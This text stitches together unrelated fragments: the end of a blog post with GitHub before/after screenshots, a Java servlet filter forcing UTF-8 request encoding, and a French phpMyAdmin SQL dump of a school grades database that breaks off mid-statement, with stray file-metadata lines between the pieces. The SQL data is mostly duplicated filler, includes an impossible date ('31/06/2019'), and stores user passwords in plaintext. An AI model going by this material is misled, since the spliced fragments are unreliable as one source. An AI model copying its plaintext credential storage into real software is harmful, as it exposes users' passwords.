results are very nice: <div style='text-align: center' markdown='1'> **BEFORE** <br><br> ![Before](/images/github_before.png 'Before') </div> <div style='text-align: center' markdown='1'> **AFTER** <br><br> ![After](/images/github_after.png 'After') </div> <br><br> Ahhhh... much better...
Java
UTF-8
1,141
2.296875
2
[]
no_license
package com.tongji.j2ee.sp; import java.io.IOException; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; public class ChnFilter implements Filter { protected FilterConfig filterConfig; private String targetEncoding; public ChnFilter() { targetEncoding = "utf-8";// 直接初始化utf8 } public void init(FilterConfig filterconfig) throws ServletException { filterConfig = filterconfig; // targetEncoding = // filterconfig.getInitParameter("encoding");//web.xml挂参初始化 } public void doFilter(ServletRequest servletrequest, ServletResponse servletresponse, FilterChain filterchain) throws IOException, ServletException { HttpServletRequest httpservletrequest = (HttpServletRequest) servletrequest; httpservletrequest.setCharacterEncoding(targetEncoding); //System.out.println("使用" + targetEncoding + "对请求进行编码过滤"); filterchain.doFilter(servletrequest, servletresponse); } public void setFilterConfig(FilterConfig filterconfig) { filterConfig = filterconfig; } public void destroy() { filterConfig = null; } }
SQL
UTF-8
23,337
3.015625
3
[]
no_license
-- phpMyAdmin SQL Dump -- version 4.7.9 -- https://www.phpmyadmin.net/ -- -- Hôte : 127.0.0.1:3306 -- Généré le : sam. 08 juin 2019 à 17:54 -- Version du serveur : 5.7.21 -- Version de PHP : 7.2.4 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Base de données : `projetjava` -- -- -------------------------------------------------------- -- -- Structure de la table `anneescolaire` -- DROP TABLE IF EXISTS `anneescolaire`; CREATE TABLE IF NOT EXISTS `anneescolaire` ( `id` int(11) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Structure de la table `bulletin` -- DROP TABLE IF EXISTS `bulletin`; CREATE TABLE IF NOT EXISTS `bulletin` ( `id` int(11) NOT NULL AUTO_INCREMENT, `appreciation` varchar(255) NOT NULL, `id_trimestre` int(11) NOT NULL, `id_inscription` int(11) NOT NULL, `id_eleve` int(11) DEFAULT NULL, PRIMARY KEY (`id`), KEY `id_trimestre` (`id_trimestre`), KEY `id_inscription` (`id_inscription`) ) ENGINE=MyISAM AUTO_INCREMENT=60 DEFAULT CHARSET=latin1; -- -- Déchargement des données de la table `bulletin` -- INSERT INTO `bulletin` (`id`, `appreciation`, `id_trimestre`, `id_inscription`, `id_eleve`) VALUES (1, 'AB', 0, 0, 1), (2, 'AB', 0, 0, 2), (3, 'AB', 0, 0, 3), (4, 'AB', 0, 0, 1), (5, 'AB', 0, 1, 2), (6, 'AB', 0, 0, 3), (7, 'AB', 0, 0, 1), (8, 'AB', 0, 0, 2), (9, 'AB', 0, 0, 3), (10, 'AB', 0, 0, 1), (11, 'AB', 0, 0, 2), (12, 'AB', 0, 0, 3), (13, 'AB', 0, 0, 1), (14, 'AB', 0, 0, 2), (15, 'AB', 0, 0, 3), (16, 'AB', 0, 0, 1), (17, 'AB', 0, 0, 2), (18, 'AB', 0, 0, 3), (19, 'AB', 0, 0, 1), (20, 'AB', 0, 0, 2), (21, 'AB', 0, 0, 3), (22, 'AB', 0, 0, 1), (23, 'AB', 0, 0, 2), (24, 'AB', 0, 0, 3), (25, 'AB', 0, 0, 1), (26, 'AB', 0, 0, NULL), (27, 'AB', 0, 0, NULL), (28, 'AB', 0, 0, NULL), (29, 'AB', 0, 0, NULL), (30, 'AB', 0, 0, NULL), (31, 'AB', 0, 0, NULL), (32, 'AB', 0, 0, NULL), (33, 'AB', 0, 0, NULL), (34, 'AB', 0, 0, NULL), (35, 'AB', 0, 0, NULL), (36, 'AB', 0, 0, NULL), (37, 'AB', 0, 0, NULL), (38, 'AB', 0, 0, NULL), (39, 'AB', 0, 0, NULL), (40, 'AB', 0, 0, NULL), (41, 'AB', 0, 0, NULL), (42, 'AB', 0, 0, NULL), (43, 'AB', 0, 0, NULL), (44, 'AB', 0, 0, NULL), (45, 'AB', 0, 0, NULL), (46, 'AB', 0, 0, NULL), (47, 'AB', 0, 0, NULL), (48, 'AB', 0, 0, NULL), (49, 'AB', 0, 0, NULL), (50, 'AB', 0, 0, NULL), (51, 'AB', 0, 0, NULL), (52, 'AB', 0, 0, NULL), (53, 'AB', 0, 0, NULL), (54, 'AB', 0, 0, NULL), (55, 'AB', 0, 0, NULL), (56, 'AB', 0, 0, NULL), (57, 'AB', 0, 0, NULL), (58, 'AB', 0, 0, NULL), (59, 'AB', 0, 0, NULL); -- -------------------------------------------------------- -- -- Structure de la table `classe` -- DROP TABLE IF EXISTS `classe`; CREATE TABLE IF NOT EXISTS `classe` ( `id` int(11) NOT NULL AUTO_INCREMENT, `nom` varchar(255) NOT NULL, `id_ecole` int(11) NOT NULL, `id_niveau` int(11) NOT NULL, `id_anneeScolaire` int(11) NOT NULL, PRIMARY KEY (`id`), KEY `id_ecole` (`id_ecole`), KEY `id_niveau` (`id_niveau`), KEY `id_anneeScolaire` (`id_anneeScolaire`) ) ENGINE=MyISAM AUTO_INCREMENT=66 DEFAULT CHARSET=latin1; -- -- Déchargement des données de la table `classe` -- INSERT INTO `classe` (`id`, `nom`, `id_ecole`, `id_niveau`, `id_anneeScolaire`) VALUES (63, 'TD4', 0, 0, 0), (62, 'TD3', 0, 0, 0), (61, 'TD2', 0, 0, 0), (60, 'TD1', 0, 0, 0); -- -------------------------------------------------------- -- -- Structure de la table `detailbulletin` -- DROP TABLE IF EXISTS `detailbulletin`; CREATE TABLE IF NOT EXISTS `detailbulletin` ( `id` int(11) NOT NULL AUTO_INCREMENT, `appreciation` varchar(255) NOT NULL, `id_bulletin` int(11) NOT NULL, `id_enseignement` int(11) NOT NULL, PRIMARY KEY (`id`), KEY `id_bulletin` (`id_bulletin`), KEY `id_enseignement` (`id_enseignement`) ) ENGINE=MyISAM AUTO_INCREMENT=79 DEFAULT CHARSET=latin1; -- -- Déchargement des données de la table `detailbulletin` -- INSERT INTO `detailbulletin` (`id`, `appreciation`, `id_bulletin`, `id_enseignement`) VALUES (1, 'Bon travail', 0, 0), (2, 'Bon travail', 0, 0), (3, 'Bon travail', 0, 0), (4, 'Bon travail', 0, 0), (5, 'Bon travail', 0, 0), (6, 'Bon travail', 0, 0), (7, 'Bon travail', 0, 0), (8, 'Bon travail', 0, 0), (9, 'Bon travail', 0, 0), (10, 'Bon travail', 0, 0), (11, 'Bon travail', 0, 0), (12, 'Bon travail', 0, 0), (13, 'Bon travail', 0, 0), (14, 'Bon travail', 0, 0), (15, 'Bon travail', 0, 0), (16, 'Bon travail', 0, 0), (17, 'Bon travail', 0, 0), (18, 'Bon travail', 0, 0), (19, 'Bon travail', 0, 0), (20, 'Bon travail', 0, 0), (21, 'Bon travail', 0, 0), (22, 'Bon travail', 0, 0), (23, 'Bon travail', 0, 0), (24, 'Bon travail', 0, 0), (25, 'Bon travail', 0, 0), (26, 'Bon travail', 0, 0), (27, 'Bon travail', 0, 0), (28, 'Bon travail', 0, 0), (29, 'Bon travail', 0, 0), (30, 'Bon travail', 0, 0), (31, 'Bon travail', 0, 0), (32, 'Bon travail', 0, 0), (33, 'Bon travail', 0, 0), (34, 'Bon travail', 0, 0), (35, 'Bon travail', 0, 0), (36, 'Bon travail', 0, 0), (37, 'Bon travail', 0, 0), (38, 'Bon travail', 0, 0), (39, 'Bon travail', 0, 0), (40, 'Bon travail', 0, 0), (41, 'Bon travail', 0, 0), (42, 'Bon travail', 0, 0), (43, 'Bon travail', 0, 0), (44, 'Bon travail', 0, 0), (45, 'Bon travail', 0, 0), (46, 'Bon travail', 0, 0), (47, 'Bon travail', 0, 0), (48, 'Bon travail', 0, 0), (49, 'Il faut encore poussser les efforts', 1, 3), (50, 'Bon travail', 0, 0), (51, 'Bon travail', 0, 0), (52, 'Bon travail', 0, 0), (53, 'Bon travail', 0, 0), (54, 'Bon travail', 0, 0), (55, 'Bon travail', 0, 0), (56, 'Bon travail', 0, 0), (57, 'Bon travail', 0, 0), (58, 'Bon travail', 0, 0), (59, 'Bon travail', 0, 0), (60, 'Bon travail', 0, 0), (61, 'Bon travail', 0, 0), (62, 'Bon travail', 0, 0), (63, 'Bon travail', 0, 0), (64, 'Bon travail', 0, 0), (65, 'Bon travail', 0, 0), (66, 'Bon travail', 0, 0), (67, 'Bon travail', 0, 0), (68, 'Bon travail', 0, 0), (69, 'Bon travail', 0, 0), (70, 'Bon travail', 0, 0), (71, 'Bon travail', 0, 0), (72, 'Bon travail', 0, 0), (73, 'Bon travail', 0, 0), (74, 'Bon travail', 0, 0), (75, 'Bon travail', 0, 0), (76, 'Bon travail', 0, 0), (77, 'Bon travail', 0, 0), (78, 'Bon travail', 0, 0); -- -------------------------------------------------------- -- -- Structure de la table `discipline` -- DROP TABLE IF EXISTS `discipline`; CREATE TABLE IF NOT EXISTS `discipline` ( `id` int(11) NOT NULL AUTO_INCREMENT, `nom` varchar(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=79 DEFAULT CHARSET=latin1; -- -- Déchargement des données de la table `discipline` -- INSERT INTO `discipline` (`id`, `nom`) VALUES (1, 'art'), (2, 'art'), (3, 'art'), (4, 'art'), (5, 'art'), (6, 'art'), (7, 'art'), (8, 'art'), (9, 'art'), (10, 'art'), (11, 'art'), (12, 'art'), (13, 'art'), (14, 'art'), (15, 'art'), (16, 'art'), (17, 'art'), (18, 'art'), (19, 'art'), (20, 'art'), (21, 'art'), (22, 'art'), (23, 'art'), (24, 'art'), (25, 'art'), (26, 'art'), (27, 'art'), (28, 'art'), (29, 'art'), (30, 'art'), (31, 'art'), (32, 'art'), (33, 'art'), (34, 'art'), (35, 'art'), (36, 'art'), (37, 'art'), (38, 'art'), (39, 'art'), (40, 'art'), (41, 'art'), (42, 'art'), (43, 'art'), (44, 'art'), (45, 'art'), (46, 'art'), (47, 'art'), (48, 'art'), (49, 'art'), (50, 'art'), (51, 'art'), (52, 'art'), (53, 'art'), (54, 'art'), (55, 'art'), (56, 'art'), (57, 'littérature'), (58, 'art'), (59, 'art'), (60, 'art'), (61, 'art'), (62, 'art'), (63, 'art'), (64, 'art'), (65, 'art'), (66, 'art'), (67, 'art'), (68, 'art'), (69, 'art'), (70, 'art'), (71, 'art'), (72, 'art'), (73, 'art'), (74, 'art'), (75, 'art'), (76, 'art'), (77, 'art'), (78, 'art'); -- -------------------------------------------------------- -- -- Structure de la table `ecole` -- DROP TABLE IF EXISTS `ecole`; CREATE TABLE IF NOT EXISTS `ecole` ( `id_ecole` int(11) NOT NULL AUTO_INCREMENT, `nom_ecole` varchar(255) NOT NULL, `adresse` varchar(255) NOT NULL, PRIMARY KEY (`id_ecole`) ) ENGINE=MyISAM AUTO_INCREMENT=60 DEFAULT CHARSET=latin1; -- -- Déchargement des données de la table `ecole` -- INSERT INTO `ecole` (`id_ecole`, `nom_ecole`, `adresse`) VALUES (1, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (2, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (3, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (4, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (5, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (6, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (7, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (8, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (9, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (10, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (11, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (12, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (13, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (14, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (15, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (16, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (17, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (18, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (19, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (20, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (21, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (22, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (23, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (24, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (25, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (26, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (27, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (28, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (29, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (30, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (31, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (32, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (33, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (34, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (35, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (36, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (37, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (38, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (39, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (40, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (41, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (42, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (43, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (44, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (45, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (46, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (47, 'Tuck Stell', 'Rueil Malmaison'), (48, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (49, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (50, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (51, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (52, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (53, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (54, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (55, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (56, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (57, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (58, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'), (59, 'Lycee Richelieu', 'rue Gorges Sand, Rueil Malmaison'); -- -------------------------------------------------------- -- -- Structure de la table `enseignement` -- DROP TABLE IF EXISTS `enseignement`; CREATE TABLE IF NOT EXISTS `enseignement` ( `id` int(11) NOT NULL AUTO_INCREMENT, `id_classe` int(11) NOT NULL, `id_discipline` int(11) NOT NULL, `id_personne` int(11) NOT NULL, PRIMARY KEY (`id`), KEY `id_classe` (`id_classe`), KEY `id_discipline` (`id_discipline`), KEY `id_personne` (`id_personne`) ) ENGINE=MyISAM AUTO_INCREMENT=79 DEFAULT CHARSET=latin1; -- -- Déchargement des données de la table `enseignement` -- INSERT INTO `enseignement` (`id`, `id_classe`, `id_discipline`, `id_personne`) VALUES (1, 0, 0, 0), (2, 1, 1, 1), (3, 0, 0, 0), (4, 0, 0, 0), (5, 0, 0, 0), (6, 0, 0, 0), (7, 0, 0, 0), (8, 0, 0, 0), (9, 0, 0, 0), (10, 0, 0, 0), (11, 0, 0, 0), (12, 0, 0, 0), (13, 0, 0, 0), (14, 0, 0, 0), (15, 0, 0, 0), (16, 0, 0, 0), (17, 0, 0, 0), (18, 0, 0, 0), (19, 0, 0, 0), (20, 0, 0, 0), (21, 0, 0, 0), (22, 0, 0, 0), (23, 0, 0, 0), (24, 0, 0, 0), (25, 0, 0, 0), (26, 0, 0, 0), (27, 0, 0, 0), (28, 0, 0, 0), (29, 0, 0, 0), (30, 0, 0, 0), (31, 0, 0, 0), (32, 0, 0, 0), (33, 0, 0, 0), (34, 0, 0, 0), (35, 0, 0, 0), (36, 0, 0, 0), (37, 0, 0, 0), (38, 0, 0, 0), (39, 0, 0, 0), (40, 0, 0, 0), (41, 0, 0, 0), (42, 0, 0, 0), (43, 0, 0, 0), (44, 0, 0, 0), (45, 0, 0, 0), (46, 0, 0, 0), (47, 0, 0, 0), (48, 0, 0, 0), (49, 0, 0, 0), (50, 0, 0, 0), (51, 0, 0, 0), (52, 0, 0, 0), (53, 0, 0, 0), (54, 0, 0, 0), (55, 0, 0, 0), (56, 0, 0, 0), (57, 0, 0, 0), (58, 0, 0, 0), (59, 0, 0, 0), (60, 0, 0, 0), (61, 0, 0, 0), (62, 0, 0, 0), (63, 0, 0, 0), (64, 0, 0, 0), (65, 0, 0, 0), (66, 0, 0, 0), (67, 0, 0, 0), (68, 0, 0, 0), (69, 0, 0, 0), (70, 0, 0, 0), (71, 0, 0, 0), (72, 0, 0, 0), (73, 0, 0, 0), (74, 0, 0, 0), (75, 0, 0, 0), (76, 0, 0, 0), (77, 0, 0, 0), (78, 0, 0, 0); -- -------------------------------------------------------- -- -- Structure de la table `evaluation` -- DROP TABLE IF EXISTS `evaluation`; CREATE TABLE IF NOT EXISTS `evaluation` ( `id` int(11) NOT NULL AUTO_INCREMENT, `appreciation` varchar(255) NOT NULL, `note` int(11) NOT NULL, `id_detail_bulletin` int(11) NOT NULL, PRIMARY KEY (`id`), KEY `id_detail_bulletin` (`id_detail_bulletin`) ) ENGINE=MyISAM AUTO_INCREMENT=60 DEFAULT CHARSET=latin1; -- -- Déchargement des données de la table `evaluation` -- INSERT INTO `evaluation` (`id`, `appreciation`, `note`, `id_detail_bulletin`) VALUES (1, 'Attention aux fautes de calculs', 13, 0), (2, 'Attention aux fautes de calculs', 13, 0), (3, 'Attention aux fautes de calculs', 13, 0), (4, 'Attention aux fautes de calculs', 13, 0), (5, 'Attention aux fautes de calculs', 13, 0), (6, 'TB', 5, 2), (7, 'Attention aux fautes de calculs', 13, 0), (8, 'Attention aux fautes de calculs', 13, 0), (9, 'Attention aux fautes de calculs', 13, 0), (10, 'Attention aux fautes de calculs', 13, 0), (11, 'Attention aux fautes de calculs', 13, 0), (12, 'Attention aux fautes de calculs', 13, 0), (13, 'Attention aux fautes de calculs', 13, 0), (14, 'Attention aux fautes de calculs', 13, 0), (15, 'Attention aux fautes de calculs', 13, 0), (16, 'Attention aux fautes de calculs', 13, 0), (17, 'Attention aux fautes de calculs', 13, 0), (18, 'Attention aux fautes de calculs', 13, 0), (19, 'Attention aux fautes de calculs', 13, 0), (20, 'Attention aux fautes de calculs', 13, 0), (21, 'Attention aux fautes de calculs', 13, 0), (22, 'Attention aux fautes de calculs', 13, 0), (23, 'Attention aux fautes de calculs', 13, 0), (24, 'Attention aux fautes de calculs', 13, 0), (25, 'Attention aux fautes de calculs', 13, 0), (26, 'Attention aux fautes de calculs', 13, 0), (27, 'Attention aux fautes de calculs', 13, 0), (28, 'Attention aux fautes de calculs', 13, 0), (29, 'Attention aux fautes de calculs', 13, 0), (30, 'Attention aux fautes de calculs', 13, 0), (31, 'Attention aux fautes de calculs', 13, 0), (32, 'Attention aux fautes de calculs', 13, 0), (33, 'Attention aux fautes de calculs', 13, 0), (34, 'Attention aux fautes de calculs', 13, 0), (35, 'Attention aux fautes de calculs', 13, 0), (36, 'Attention aux fautes de calculs', 13, 0), (37, 'Attention aux fautes de calculs', 13, 0), (38, 'Attention aux fautes de calculs', 13, 0), (39, 'Attention aux fautes de calculs', 13, 0), (40, 'Attention aux fautes de calculs', 13, 0), (41, 'Attention aux fautes de calculs', 13, 0), (42, 'Attention aux fautes de calculs', 13, 0), (43, 'Attention aux fautes de calculs', 13, 0), (44, 'Attention aux fautes de calculs', 13, 0), (45, 'Attention aux fautes de calculs', 13, 0), (46, 'Attention aux fautes de calculs', 13, 0), (47, 'Attention aux fautes de calculs', 13, 0), (48, 'Attention aux fautes de calculs', 13, 0), (49, 'Attention aux fautes de calculs', 13, 0), (50, 'Attention aux fautes de calculs', 13, 0), (51, 'Attention aux fautes de calculs', 13, 0), (52, 'Attention aux fautes de calculs', 13, 0), (53, 'Attention aux fautes de calculs', 13, 0), (54, 'Attention aux fautes de calculs', 13, 0), (55, 'Attention aux fautes de calculs', 13, 0), (56, 'Attention aux fautes de calculs', 13, 0), (57, 'Attention aux fautes de calculs', 13, 0), (58, 'Attention aux fautes de calculs', 13, 0), (59, 'Attention aux fautes de calculs', 13, 0); -- -------------------------------------------------------- -- -- Structure de la table `inscription` -- DROP TABLE IF EXISTS `inscription`; CREATE TABLE IF NOT EXISTS `inscription` ( `id` int(11) NOT NULL AUTO_INCREMENT, `id_classe` int(11) NOT NULL, `id_personne` int(11) NOT NULL, PRIMARY KEY (`id`), KEY `id_classe` (`id_classe`), KEY `id_personne` (`id_personne`) ) ENGINE=MyISAM AUTO_INCREMENT=60 DEFAULT CHARSET=latin1; -- -- Déchargement des données de la table `inscription` -- INSERT INTO `inscription` (`id`, `id_classe`, `id_personne`) VALUES (1, 1, 3), (2, 1, 3), (3, 1, 3), (4, 1, 3), (5, 2, 2), (6, 1, 3), (7, 1, 3), (8, 1, 3), (9, 1, 3), (10, 1, 3), (11, 1, 3), (12, 1, 3), (13, 1, 3), (14, 1, 3), (15, 1, 3), (16, 1, 3), (17, 1, 3), (18, 1, 3), (19, 1, 3), (20, 1, 3), (21, 1, 3), (22, 1, 3), (23, 1, 3), (24, 1, 3), (25, 1, 3), (26, 1, 3), (27, 1, 3), (28, 1, 3), (29, 1, 3), (30, 1, 3), (31, 1, 3), (32, 1, 3), (33, 1, 3), (34, 1, 3), (35, 1, 3), (36, 1, 3), (37, 1, 3), (38, 1, 3), (39, 1, 3), (40, 1, 3), (41, 1, 3), (42, 1, 3), (43, 1, 3), (44, 1, 3), (45, 1, 3), (46, 1, 3), (47, 1, 3), (48, 1, 3), (49, 1, 3), (50, 1, 3), (51, 1, 3), (52, 1, 3), (53, 1, 3), (54, 1, 3), (55, 1, 3), (56, 1, 3), (57, 1, 3), (58, 1, 3), (59, 1, 3); -- -------------------------------------------------------- -- -- Structure de la table `niveau` -- DROP TABLE IF EXISTS `niveau`; CREATE TABLE IF NOT EXISTS `niveau` ( `id` int(11) NOT NULL AUTO_INCREMENT, `nom` varchar(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=60 DEFAULT CHARSET=latin1; -- -- Déchargement des données de la table `niveau` -- INSERT INTO `niveau` (`id`, `nom`) VALUES (1, 'CE1'), (2, 'CE1'), (3, 'CE1'), (4, 'CE2'), (5, 'CE1'), (6, 'CE1'), (7, 'CE1'), (8, 'CE1'), (9, 'CE1'), (10, 'CE1'), (11, 'CE1'), (12, 'CE1'), (13, 'CE1'), (14, 'CE1'), (15, 'CE1'), (16, 'CE1'), (17, 'CE1'), (18, 'CE1'), (19, 'CE1'), (20, 'CE1'), (21, 'CE1'), (22, 'CE1'), (23, 'CE1'), (24, 'CE1'), (25, 'CE1'), (26, 'CE1'), (27, 'CE1'), (28, 'CE1'), (29, 'CE1'), (30, 'CE1'), (31, 'CE1'), (32, 'CE1'), (33, 'CE1'), (34, 'CE1'), (35, 'CE1'), (36, 'CE1'), (37, 'CE1'), (38, 'CE1'), (39, 'CE1'), (40, 'CE1'), (41, 'CE1'), (42, 'CE1'), (43, 'CE1'), (44, 'CE1'), (45, 'CE1'), (46, 'CE1'), (47, 'CE1'), (48, 'CE1'), (49, 'CE1'), (50, 'CE1'), (51, 'CE1'), (52, 'CE1'), (53, 'CE1'), (54, 'CE1'), (55, 'CE1'), (56, 'CE1'), (57, 'CE1'), (58, 'CE1'), (59, 'CE1'); -- -------------------------------------------------------- -- -- Structure de la table `personne` -- DROP TABLE IF EXISTS `personne`; CREATE TABLE IF NOT EXISTS `personne` ( `id` int(11) NOT NULL AUTO_INCREMENT, `nom` varchar(255) NOT NULL, `prenom` varchar(255) NOT NULL, `type_` varchar(255) NOT NULL, `userP` varchar(255) DEFAULT NULL, `mdp` varchar(255) DEFAULT NULL, `id_classe` int(11) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=58 DEFAULT CHARSET=latin1; -- -- Déchargement des données de la table `personne` -- INSERT INTO `personne` (`id`, `nom`, `prenom`, `type_`, `userP`, `mdp`, `id_classe`) VALUES (1, 'maurin', 'guillaume', 'stud', NULL, NULL, 60), (2, 'Clara', 'Sabatey', 'stud', 'Clacla', 'love', 60), (3, 'carlier', 'helene', 'stud', NULL, NULL, 60), (4, 'segado', 'jp', 'prof', NULL, NULL, NULL), (5, 'dupont', 'alain', 'prof', NULL, NULL, NULL), (6, 'diedler', 'florent', 'prof', NULL, NULL, NULL), (57, 'Helene', 'Carlier-Gubler', 'prof', 'LogNep', 'coucou', NULL); -- -------------------------------------------------------- -- -- Structure de la table `trimestre` -- DROP TABLE IF EXISTS `trimestre`; CREATE TABLE IF NOT EXISTS `trimestre` ( `id` int(11) NOT NULL AUTO_INCREMENT, `numero` int(11) NOT NULL, `debut` varchar(255) NOT NULL, `fin` varchar(255) NOT NULL, `id_anneeScolaire` int(11) NOT NULL, PRIMARY KEY (`id`), KEY `id_anneeScolaire` (`id_anneeScolaire`) ) ENGINE=MyISAM AUTO_INCREMENT=60 DEFAULT CHARSET=latin1; -- -- Déchargement des données de la table `trimestre` -- INSERT INTO `trimestre` (`id`, `numero`, `debut`, `fin`, `id_anneeScolaire`) VALUES (1, 3, '01/09/2018', '31/06/2019', 0), (2, 1, '02/09/2017', '15/06/2018', 2), (3, 3, '01/09/2018', '31/06/2019', 0), (4, 3, '01/09/2018', '31/06/2019', 0), (5, 3, '01/09/2018', '31/06/2019', 0), (6, 3, '01/09/2018', '31/06/2019', 0), (7, 3, '01/09/2018', '31/06/2019', 0), (8, 3, '01/09/2018', '31/06/2019', 0), (9, 3, '01/09/2018', '31/06/2019', 0), (10, 3, '01/09/2018', '31/06/2019', 0), (11, 3, '01/09/2018', '31/06/2019', 0), (12, 3, '01/09/2018', '31/06/2019', 0), (13, 3, '01/09/2018', '31/06/2019', 0), (14, 3, '01/09/2018', '31/06/2019', 0), (15, 3, '01/09/2018', '31/06/2019', 0), (16, 3, '01/09/2018', '31/06/2019', 0), (17, 3, '01/09/2018', '31/06/2019', 0), (18, 3, '01/09/2018', '31/06/2019', 0), (19, 3, '01/09/2018', '31/06/2019', 0), (20, 3, '01/09/2018', '31/06/2019', 0), (21, 3, '01/09/2018', '31/06/2019', 0), (22, 3, '01/09/2018', '31/06/2019', 0), (23, 3, '01/09/2018', '31/06/2019', 0), (24, 3, '01/09/2018', '31/06/2019', 0), (25, 3, '01/09/2018', '31/06/2019', 0), (26, 3, '01/09/2018', '31/06/2019', 0), (27, 3, '01/09/2018', '31/06/2019', 0), (28, 3, '01/09/2018', '31/06/2019', 0), (29, 3, '01/09/2018', '31/06/2019', 0), (30, 3, '01/09/2018', '31/06/2019', 0), (31, 3, '01/09/2018', '31/06/2019', 0), (32, 3, '01/09/2018', '31/06/2019', 0), (33, 3, '01/09/2018', '31/06/2019', 0), (34, 3, '01/09/2018', '31/06/2019', 0), (35, 3, '01/09/2018', '31/06/2019', 0), (36, 3, '01/09/2018', '31/06/2019', 0), (37, 3, '01/09/2018', '31/06/2019', 0), (38, 3, '01/09/2018', '31/06/2019', 0), (39, 3, '01/09/2018', '31/06/2019', 0), (40, 3, '01/09/2018', '31/06/2019', 0), (41, 3, '01/09/2018', '31/06/2019', 0), (42, 3, '01/09/2018', '31/06/2019', 0), (43, 3, '01/09/2018', '31/06/2019', 0), (44, 3, '01/09/2018', '31/06/2019', 0), (45, 3, '01/09/2018', '31/06/2019', 0), (46, 3, '01/09/2018', '31/06/2019', 0), (47, 3, '01/09/2018', '31/06/2019', 0), (48, 3, '01/09/2018', '31/06/2019', 0), (49, 3, '01/09/2018', '31/06/2019', 0), (50, 3, '01/09/2018', '31/06/2019', 0), (51, 3, '01/09/2018', '31/06/2019', 0), (52, 3, '01/09/2018', '31/06/2019', 0), (53, 3, '01/09/2018', '31/06/2019', 0), (54, 3, '01/09/2018', '31/06/2019', 0), (55, 3, '01/09/2018', '31/06/2019', 0), (56, 3, '01/09/2018', '31/06/2019', 0), (57, 3, '01/09/2018', '31/06/2019', 0), (58, 3, '01/09/2018', '31/06/2019', 0), (59, 3, '01/09/2018', '31/06/2019', 0); COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET 